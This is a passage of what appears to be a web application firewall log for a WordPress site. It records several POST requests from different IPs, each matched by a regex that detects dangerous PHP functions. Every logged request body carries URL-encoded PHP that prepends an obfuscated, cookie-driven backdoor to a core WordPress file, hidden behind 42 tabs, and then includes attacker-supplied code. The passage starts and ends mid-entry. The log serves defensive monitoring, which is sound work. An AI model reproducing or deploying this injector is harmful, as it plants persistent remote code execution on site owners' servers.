29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:00:00","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:3248\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\nWL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:01:53","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3248\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\n\nNM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:02:06","203.190.11.3","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:3248\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\n\nbK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:02:11","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3248\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnyHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\n\njU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B0%255D%2528%2524k%252C%2524p%255B3%255D%2529%253B%2524p%255B19%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B26%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7